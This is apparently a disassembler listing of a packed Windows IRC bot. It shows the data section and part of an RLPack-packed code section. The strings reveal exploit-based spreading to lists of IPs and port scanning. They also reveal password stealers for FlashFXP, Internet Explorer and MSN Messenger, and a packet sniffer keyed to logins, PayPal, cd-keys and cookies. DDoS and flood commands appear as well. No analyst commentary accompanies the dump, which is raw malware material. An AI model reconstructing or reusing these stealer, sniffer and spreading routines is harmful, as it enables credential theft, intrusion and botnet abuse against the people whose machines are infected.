		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_418294	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_40F461+24Ao
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_4182D8	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_40F461+1F6o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_418308	db  2Dh	; -		; DATA XREF: sub_40F461+39o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 4
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_40F6CD+43o
dword_41835C	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_40F727+7Do
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_40F727+2Co
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_40F7FD+21o
		align 10h
dword_4183A0	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_40F835:loc_40F8E1o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_4183D0	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_40F835+A5o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_418408	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_40F835+72o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_418438	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_40F908+A7o
		dd 30032074h, 73250234h, 203h
unk_418458	db  53h	; S		; DATA XREF: sub_40F9C9+1B4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_418494	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_40F9C9+164o
dword_4184A8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_40F9C9+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_4184F0	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_40FBA7+15Fo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_40FD22+15o
					; sub_40FD22+73o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+DAo
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+9Co
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_40FDB3+91o
		align 4
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_40FDB3+6Co
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_40FDB3+55o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_40FDB3+15o
		align 4
unk_4185E4	db  2Dh	; -		; DATA XREF: sub_40FEB8+2D3o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 10h
dword_418620	dd 2343003h, 2037525h	; DATA XREF: sub_40FEB8+27Ao
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_40FEB8+219o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_40FEB8+202o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_40FEB8+1EBo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+1D4o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41868C	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_40FEB8+1A7o
		align 4
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+130o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+122o
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+114o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_40FEB8+107o
		db 'IP=',0
		align 4
asc_4186B8	db 0Dh,0Ah		; DATA XREF: sub_40FEB8:loc_40FFB4o
		db 0Dh,0Ah
		db '[',0
		align 10h
unk_4186C0	db  2Dh	; -		; DATA XREF: sub_40FEB8+5Co
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 4
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_4101AE+21o
		align 4
unk_418704	db  2Dh	; -		; DATA XREF: sub_4101E6+718o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 10h
dword_418740	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_4101E6+688o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41879C	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_4101E6+5F2o
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_4187E4	dd 70747468h, 2F3A73h	; DATA XREF: sub_4101E6+5B0o
dword_4187EC	dd 70747468h, 2F3Ah	; DATA XREF: sub_4101E6+599o
dword_4187F4	dd 7274533Ah, 676E69h	; DATA XREF: sub_4101E6+554o
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_4101E6+53Fo
aE161255a	db 'e161255a',0         ; DATA XREF: sub_4101E6+525o
		align 4
dword_418814	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_4101E6+4FEo
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_418854	dd 2Ch			; DATA XREF: sub_4101E6+442o
					; sub_4101E6+619o
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_4101E6+3B7o
		align 4
dword_418864	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_4101E6+3A3o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_4101E6+310o
		align 4
dword_4188C8	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_4101E6+2FCo
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_4101E6+2CEo
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_4101E6+1FAo
asc_418918	db '%x',0               ; DATA XREF: sub_4101E6+117o
		align 4
unk_41891C	db  2Dh	; -		; DATA XREF: sub_4101E6+B0o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 10h
dword_418950	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_4101E6+85o
					; sub_4101E6+154o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_41094B+2Ao
		align 4
dword_418984	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_410999+180o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_410999+EFo
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_410999+BFo
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_410999+91o
		align 4
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_410999+77o
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_410999+59o
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_410B3B+21o
		align 4
off_418AB4	dd offset aUser_1	; DATA XREF: sub_410BC3+2Do
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		align 10h
off_418B10	dd offset aLogin_0	; DATA XREF: sub_410BC3+45o
					; "login "
		align 8
		dd offset aSxt		; "sxt "
		align 10h
		dd offset aAuth		; "auth	"
		align 8
		dd offset aPasswort	; "passwort "
		align 10h
		dd offset aCdkey	; "cdkey"
		align 8
		dd offset aCdKey_0	; "cd-key"
		align 10h
		dd offset aCdKey	; "cd key"
		align 8
		dd offset aPassword	; "password"
		align 10h
		dd offset aPaypal_com	; "paypal.com"
		align 8
		dd offset aPaypal	; "paypal"
		align 10h
		dd offset aIrcOperator	; "irc operator"
		align 8
		dd offset aLP		; "l/p"
		align 10h
		dd offset aSsh1_5	; "SSH-1.5"
		align 8
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_418B84	dd offset aSetCookie	; DATA XREF: sub_410BC3+5Do
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		dd 2 dup(0)
off_418BC8	dd offset dword_418C24	; DATA XREF: sub_410BC3+75o
		align 10h
		dd offset dword_418C1C
		align 8
		dd offset dword_418C14
		align 10h
		dd offset dword_418C0C
		align 8
		dd offset dword_418C04
		align 10h
		dd offset dword_418BFC
		dd 2 dup(0)
dword_418BFC	dd 54495551h, 20h	; DATA XREF: .packed:00418BF0o
dword_418C04	dd 54524150h, 20h	; DATA XREF: .packed:00418BE8o
dword_418C0C	dd 4E494F4Ah, 20h	; DATA XREF: .packed:00418BE0o
dword_418C14	dd 49504F54h, 2043h	; DATA XREF: .packed:00418BD8o
dword_418C1C	dd 49544F4Eh, 204543h	; DATA XREF: .packed:00418BD0o
dword_418C24	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	.packed:off_418BC8o
aDdos		db 'ddos',0             ; DATA XREF: .packed:00418BBCo
		align 4
aServu		db 'servu',0            ; DATA XREF: .packed:00418BB4o
		align 10h
aServU		db 'serv u',0           ; DATA XREF: .packed:00418BACo
		align 4
aServU_0	db 'serv-u',0           ; DATA XREF: .packed:00418BA4o
		align 10h
aClone		db 'clone ',0           ; DATA XREF: .packed:00418B9Co
		align 4
aFlood		db 'flood ',0           ; DATA XREF: .packed:00418B94o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: .packed:00418B8Co
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: .packed:off_418B84o
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: .packed:00418B78o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: .packed:00418B70o
aLP		db 'l/p',0              ; DATA XREF: .packed:00418B68o
aIrcOperator	db 'irc operator',0     ; DATA XREF: .packed:00418B60o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: .packed:00418B58o
		align 10h
aPaypal_com	db 'paypal.com',0       ; DATA XREF: .packed:00418B50o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: .packed:00418B40o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: .packed:00418B38o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: .packed:00418B30o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: .packed:00418B28o
		align 10h
aAuth		db 'auth ',0            ; DATA XREF: .packed:00418B20o
		align 4
aSxt		db 'sxt ',0             ; DATA XREF: .packed:00418B18o
		align 10h
aLogin_0	db 'login ',0           ; DATA XREF: .packed:off_418B10o
		align 4
aPw		db 'pw=',0              ; DATA XREF: .packed:00418B04o
aPass_1		db 'pass=',0            ; DATA XREF: .packed:00418AFCo
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: .packed:00418AF4o
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: .packed:00418AECo
		align 4
aUsername_0	db 'username=',0        ; DATA XREF: .packed:00418AE4o
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: .packed:00418ADCo
aAuth_0		db ' :auth ',0          ; DATA XREF: .packed:00418AD4o
aIdentify	db 'identify ',0        ; DATA XREF: .packed:00418ACCo
		align 10h
aOper		db 'oper ',0            ; DATA XREF: .packed:00418AC4o
		align 4
aMailpass	db 'MailPass ',0        ; DATA XREF: .packed:00418AC0o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: .packed:00418ABCo
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: .packed:00418AB8o
		align 4
aUser_1		db 'user ',0            ; DATA XREF: .packed:off_418AB4o
		align 10h
dword_418D60	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_410C55+379o
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_418D94	db  2Dh	; -		; DATA XREF: sub_410C55+FBo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 4
dword_418DC8	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_4110B4+6Fo
		dd 6E732074h, 65666669h, 72h, 418DECh, 97F7A1AEh, 87CA88FBh
		dd 0E18DA597h, 2 dup(0)
dword_418E00	dd 0CD9F82A3h		; DATA XREF: sub_407A76+53Er
					; sub_4111E8+54r ...
dword_418E04	dd 0D4EE5D68h		; DATA XREF: sub_4111E8+4Dr
dword_418E08	dd 1FC7575Bh		; DATA XREF: sub_4111E8+42r
dword_418E0C	dd 139AB344h		; DATA XREF: sub_4111E8+3Cr
		dd 7265h, 0
off_418E18	dd offset dword_4190E0	; DATA XREF: sub_40A236+108r
					; sub_40A236+110o ...
		align 10h
off_418E20	dd offset dword_417D18	; DATA XREF: sub_407A76+4EEr
					; sub_4091AD+51r ...
off_418E24	dd offset dword_417D0C	; DATA XREF: sub_4091AD+85r
off_418E28	dd offset dword_417D04	; DATA XREF: sub_4091AD+96r
		dd offset dword_417CF0
		dd offset dword_417CE4
		dd offset dword_417D04
		dd 3 dup(0)
dword_418E44	dd 0C4A7F1E1h, 81D9EAh,	0 ; DATA XREF: sub_409277+126o
					; sub_409918+27Bo
dword_418E50	dd 656E2323h, 23736472h, 23h, 1Dh dup(0) ; DATA	XREF: sub_40287C+109o
					; sub_406BBC+59o ...
byte_418ED0	db 0FDh			; DATA XREF: sub_409277+23Er
					; sub_409277+24Do
		db 0EDh, 0EBh, 8Eh
		dd 99CC83A5h, 0F59BB8DCh, 83A7h, 1Ch dup(0)
byte_418F50	db 0			; DATA XREF: sub_409277+261r
					; sub_409277+26Fo
		align 4
		dd 1Fh dup(0)
dword_418FD0	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_407A76:loc_408CDDo
					; sub_409918+206o
dword_418FDC	dd 98FAABA9h, 0D98CD5B9h, 93A6DDh, 3Eh dup(0) ;	DATA XREF: sub_404D00+33o
					; sub_404DAD+32o
dword_4190E0	dd 0BBB2EFF4h, 93CC83BBh, 0E999E4CAh, 8BC58EF6h, 0ABB8h
					; DATA XREF: .packed:off_418E18o
		dd 0
dword_4190F8	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .packed:0041149Bo
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: .packed:00411474o
		align 10h
aLoop		db 'loop',0             ; DATA XREF: sub_4111E8:loc_411440o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: sub_4111E8+1FDo
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4111E8+5Ao
		align 10h
dword_419170	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_4117FE+15o
off_419180	dd offset off_4122CC	; DATA XREF: .packed:off_4122D0o
					; .packed:0041230Co ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_4191A0	dd offset off_4122CC	; DATA XREF: .packed:off_412318o
					; .packed:00412354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_4191B8	dd 0			; DATA XREF: sub_401534:loc_401548r
					; sub_401621+143w
dword_4191BC	dd 0			; DATA XREF: sub_401534:loc_401555r
					; sub_401621+14Bw ...
dword_4191C0	dd 0			; DATA XREF: sub_401534:loc_401562r
					; sub_401621+ACo ...
dword_4191C4	dd 0			; DATA XREF: sub_401534r
					; sub_401621+13Bw ...
		dd 0
dword_4191CC	dd 0			; DATA XREF: sub_401571+35r
					; sub_401571+50r ...
byte_4191D0	db 0			; DATA XREF: sub_401621+10Bo
					; sub_402230+3Br ...
		align 8
dword_4191D8	dd 0			; DATA XREF: sub_40287C+1Dr
					; sub_40392A:loc_40393Cr ...
dword_4191DC	dd 0			; DATA XREF: sub_40287C+Eo
dword_4191E0	dd 0			; DATA XREF: sub_402D7B+21w
					; sub_4071D2+Fr
		align 8
dword_4191E8	dd 0			; DATA XREF: sub_402D7B+42w
dword_4191EC	dd 0			; DATA XREF: sub_402D7B+4Fw
dword_4191F0	dd 0			; DATA XREF: sub_402D7B+5Cw
dword_4191F4	dd 0			; DATA XREF: sub_402D7B+69w
dword_4191F8	dd 0			; DATA XREF: sub_402D7B+76w
dword_4191FC	dd 0			; DATA XREF: sub_402D7B+83w
dword_419200	dd 0			; DATA XREF: sub_402D7B+90w
dword_419204	dd 0			; DATA XREF: sub_402D7B+9Dw
dword_419208	dd 0			; DATA XREF: sub_402D7B+A4w
dword_41920C	dd 0			; DATA XREF: sub_402D7B+C4w
					; sub_40CEBE+12r ...
dword_419210	dd 0			; DATA XREF: sub_402D7B+D1w
dword_419214	dd 0			; DATA XREF: sub_402D7B+DEw
					; sub_40CEBE+1Er ...
dword_419218	dd 0			; DATA XREF: sub_402D7B+E5w
dword_41921C	dd 0			; DATA XREF: sub_402D7B+17Aw
					; sub_40656A+D3r
dword_419220	dd 0			; DATA XREF: sub_402D7B+162w
					; sub_4101E6+41r ...
dword_419224	dd 0			; DATA XREF: sub_402D7B+101w
					; sub_402D7B+115r ...
dword_419228	dd 0			; DATA XREF: sub_401B81+9Ar
					; sub_402D7B+10Ew ...
dword_41922C	dd 0			; DATA XREF: sub_402D7B+11Cw
					; sub_402D7B+145w ...
		dd 101h	dup(0)
dword_419634	dd 0			; DATA XREF: sub_403338r
					; sub_403338+1Bo
dword_419638	dd 0			; DATA XREF: sub_403338+Fo
					; sub_403338:loc_403360r
		align 10h
dword_419640	dd 0			; DATA XREF: sub_4045B7+40w
					; sub_4045B7+63r ...
dword_419644	dd 0			; DATA XREF: sub_4045B7+4Dw
					; sub_4045B7+6Cr ...
dword_419648	dd 0			; DATA XREF: sub_4045B7+5Bw
					; sub_404639+150r
dword_41964C	dd 0			; DATA XREF: sub_4045B7+33w
					; sub_4045B7+54r ...
dword_419650	dd 7 dup(0)		; DATA XREF: sub_4045B7+1o
					; sub_404639+Co ...
byte_41966C	db 0			; DATA XREF: sub_4045B7+79w
					; sub_404639+16r
		align 10h
dword_419670	dd 0			; DATA XREF: sub_406A40:loc_406AB0w
					; sub_406B29:loc_406B90r
		align 8
dword_419678	dd 6 dup(0)		; DATA XREF: sub_406B98+16o
					; sub_406D58+7o ...
dword_419690	dd 0			; DATA XREF: sub_406B98w
					; sub_406D58+11r ...
		align 8
dword_419698	dd 0			; DATA XREF: sub_406B98+11w
					; sub_406D58:loc_406D83r ...
dword_41969C	dd 0			; DATA XREF: sub_407237+6r
					; sub_4072FC+60w ...
dword_4196A0	dd 0			; DATA XREF: sub_4072FC+42w
					; sub_4072FC+65r ...
dword_4196A4	dd 0			; DATA XREF: sub_407237+A9r
					; sub_4072FC+7Fw ...
dword_4196A8	dd 0			; DATA XREF: sub_407237+80r
					; sub_4072FC+72w ...
		align 10h
byte_4196B0	db 0			; DATA XREF: sub_4072FC+2Dr
					; sub_4072FC+84w
		align 4
		dd 101h	dup(0)
byte_419AB8	db 0			; DATA XREF: sub_4091AD+Bo
					; sub_409277+27r ...
		align 4
		dd 5Fh dup(0)
dword_419C38	dd 40h dup(0)		; DATA XREF: sub_4091AD+15o
					; sub_4091AD+7Bo ...
dword_419D38	dd 3 dup(0)		; DATA XREF: sub_4091AD:loc_4091DDo
					; sub_4091AD+8Bo ...
dword_419D44	dd 0			; DATA XREF: sub_4091A7r
					; sub_409522+15r ...
		dd 0
dword_419D4C	dd 0			; DATA XREF: sub_40A236+47w
byte_419D50	db 0			; DATA XREF: sub_40A42C+6o
					; sub_40A42C+15w ...
		align 4
		dd 40h dup(0)
byte_419E54	db 0			; DATA XREF: sub_40A606+22o
					; sub_40A606+2Fo ...
		align 4
		dd 4 dup(0)
dword_419E68	dd 5 dup(0)		; DATA XREF: sub_40A67C+24o
					; sub_40A67C+31o ...
dword_419E7C	dd 0			; DATA XREF: sub_40B31E+24o
					; sub_40B380+5w ...
dword_419E80	dd 0			; DATA XREF: sub_40B31E+30o
					; sub_40B380+Fw ...
dword_419E84	dd 0			; DATA XREF: sub_40B31E+3Co
					; sub_40B380+19w ...
dword_419E88	dd 0			; DATA XREF: sub_40B31E+48o
					; sub_40B380+23w ...
		align 10h
byte_419E90	db 0			; DATA XREF: sub_40B55F+24o
					; sub_40B55F+31o ...
		align 4
		dd 5 dup(0)
dword_419EA8	dd 2 dup(0)		; DATA XREF: sub_40D6E0+448o
dword_419EB0	dd 0			; DATA XREF: sub_40DE9A+308o
dword_419EB4	dd 2 dup(0)		; DATA XREF: sub_40DE9A+31Ao
dword_419EBC	dd 0			; DATA XREF: sub_40E523+Er
					; sub_40E523+1Fw
dword_419EC0	dd 0			; DATA XREF: sub_40E523:loc_40E5A8w
					; sub_40E523:loc_40E5AEr
dword_419EC4	dd 2 dup(0)		; DATA XREF: sub_40E8DBo
					; sub_40E951+78o
dword_419ECC	dd 41h dup(0)		; DATA XREF: sub_4050D1+12Do
					; sub_4052DF:loc_405383o ...
dword_419FD0	dd 0			; DATA XREF: sub_407A76+530r
					; sub_4111E8+FBw
dword_419FD4	dd 0			; DATA XREF: sub_4111E8+105w
dword_419FD8	dd 0			; DATA XREF: sub_4111E8+10Fw
dword_419FDC	dd 0			; DATA XREF: sub_4111E8+119w
dword_419FE0	dd 42h dup(0)		; DATA XREF: sub_407A76+779o
					; sub_407A76+78Do ...
dword_41A0E8	dd 40h dup(0)		; DATA XREF: sub_407A76+A1Fo
					; sub_409277+26Ao ...
byte_41A1E8	db 0			; DATA XREF: sub_409277+E2r
					; sub_409277+EBo ...
		align 4
		dd 1Fh dup(0)
byte_41A268	db 0			; DATA XREF: sub_402EFD+E4r
					; sub_402EFD+F0o ...
		align 4
		dd 1Fh dup(0)
dword_41A2E8	dd 40h dup(0)		; DATA XREF: sub_4032D2+34o
					; sub_403EA9+50Co ...
byte_41A3E8	db 0			; DATA XREF: sub_407A76+1125o
					; sub_409277+7Fr ...
		align 2000h
_packed		ends

; Section 2. (virtual address 0001C000)
; Virtual size			: 00012F41 (  77633.)
; Section size in file		: 00012F41 (  77633.)
; Offset to raw	data for section: 0001C000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 41C000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0EC8B1C55h, 2608E81h, 3353011Ch, 0C01D39DBh,	89E04130h
		dd 0FF45D06h, 0E022E984h, 0FB85056h, 3D8B0C57h,	452D2008h
		dd 4BEE808h, 30FF0701h,	50A8A38Dh, 19447DE3h, 0A5619D09h
		dd 0CC48328h, 0CF8189Fh, 5325036Ah, 7539FFEEh, 6C15B808h
		dd 0C7FC1C67h, 7050F098h, 0FFFEA485h, 310EBFE3h, 53EC09E4h
		dd 0FDA02188h, 7F75890Fh, 0FEFC08F3h, 1FF87D5Ch, 81C085D7h
		dd 0E47D835Fh, 9430F101h, 99300C1Eh, 0BA88FC12h, 3E6C496Ch
		dd 36175274h, 362F5028h, 67BB0415h, 4536037Fh, 8F0CC9F4h
		dd 0F0686C64h, 3998EB2Ah, 0A08B2844h, 54C083C9h, 0C39CF04h
		dd 2E850F18h, 5E605FD3h, 0C95BF426h, 880A91C3h,	569E0104h
		dd 5712C3A8h, 3268068h,	6DB05568h, 91921242h, 7617B80Fh
		dd 80184D68h, 0BBE7C1E8h, 5615C102h, 0F9F88B53h, 0AC1DA0B3h
		dd 0C7031002h, 88BF6B75h, 0FC188346h, 0A0565725h, 0AC485BC6h
		dd 4B18C60Eh, 4DD13603h, 802401D2h, 5CFF067Ch, 34805DCh
		dd 18EBF675h, 4AC5848Dh, 0C228502Eh, 574C4827h,	70840F84h
		dd 110C5145h, 0A444FA53h, 14BD826Fh, 3D020BAh, 2AC6814h
		dd 0FD34126Bh, 7084022h, 0BC72FDEFh, 54E13C13h,	0BD378076h
		dd 74033538h, 3D462223h, 2A8B5029h, 0A1F301Bh, 3144689Dh
		dd 0B66831DBh, 107A4284h, 1AD10543h, 8B148934h,	3B1782F0h
		dd 71FE86F3h, 6313A3B3h, 8EE89008h, 1E399B09h, 8420459h
		dd 48F8DE82h, 548E0FE1h, 0CF339FF6h, 20681582h,	44E8B03h
		dd 240F9339h, 6303C362h, 0B152FC30h, 91B2410Eh,	0C878943Eh
		dd 8B80980Eh, 448D0446h, 0A40C7E07h, 9AEAC622h,	59484806h
		dd 70C87315h, 0FF3DB08Bh, 8A290734h, 0F601AE85h, 53C01BD8h
		dd 0C811B120h, 3B8C9C73h, 0C8FCF0C3h, 3389654Ch, 0C6AAAFD2h
		dd 485DE055h, 9B42CEC7h, 48F07C51h, 0CA2B0A08h,	1F0DF981h
